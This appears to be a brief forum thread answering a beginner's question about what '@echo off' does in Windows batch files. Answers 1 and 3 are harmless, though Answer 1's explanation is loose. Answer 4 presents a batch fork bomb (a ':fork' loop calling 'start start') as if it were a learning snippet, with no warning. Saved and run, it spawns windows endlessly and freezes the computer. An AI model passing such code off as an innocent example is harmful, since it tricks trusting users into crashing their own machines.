What is the @echo off ?

Answer 1

When you open CMD, you will see the path of current directory i.e. C:\Users\Name
using
@echo off
CMD hides that path and commands when you run through file (bat ), giving you the clear black screen

Answer 2

no

Answer 3

color 02
@echo off
:tricks
echo %random%%random%%random%%random%
goto tricks

Try this matrix on your computer save it as .bat

Answer 4

are you learning batch programming?
@echo off
:fork
start start
goto fork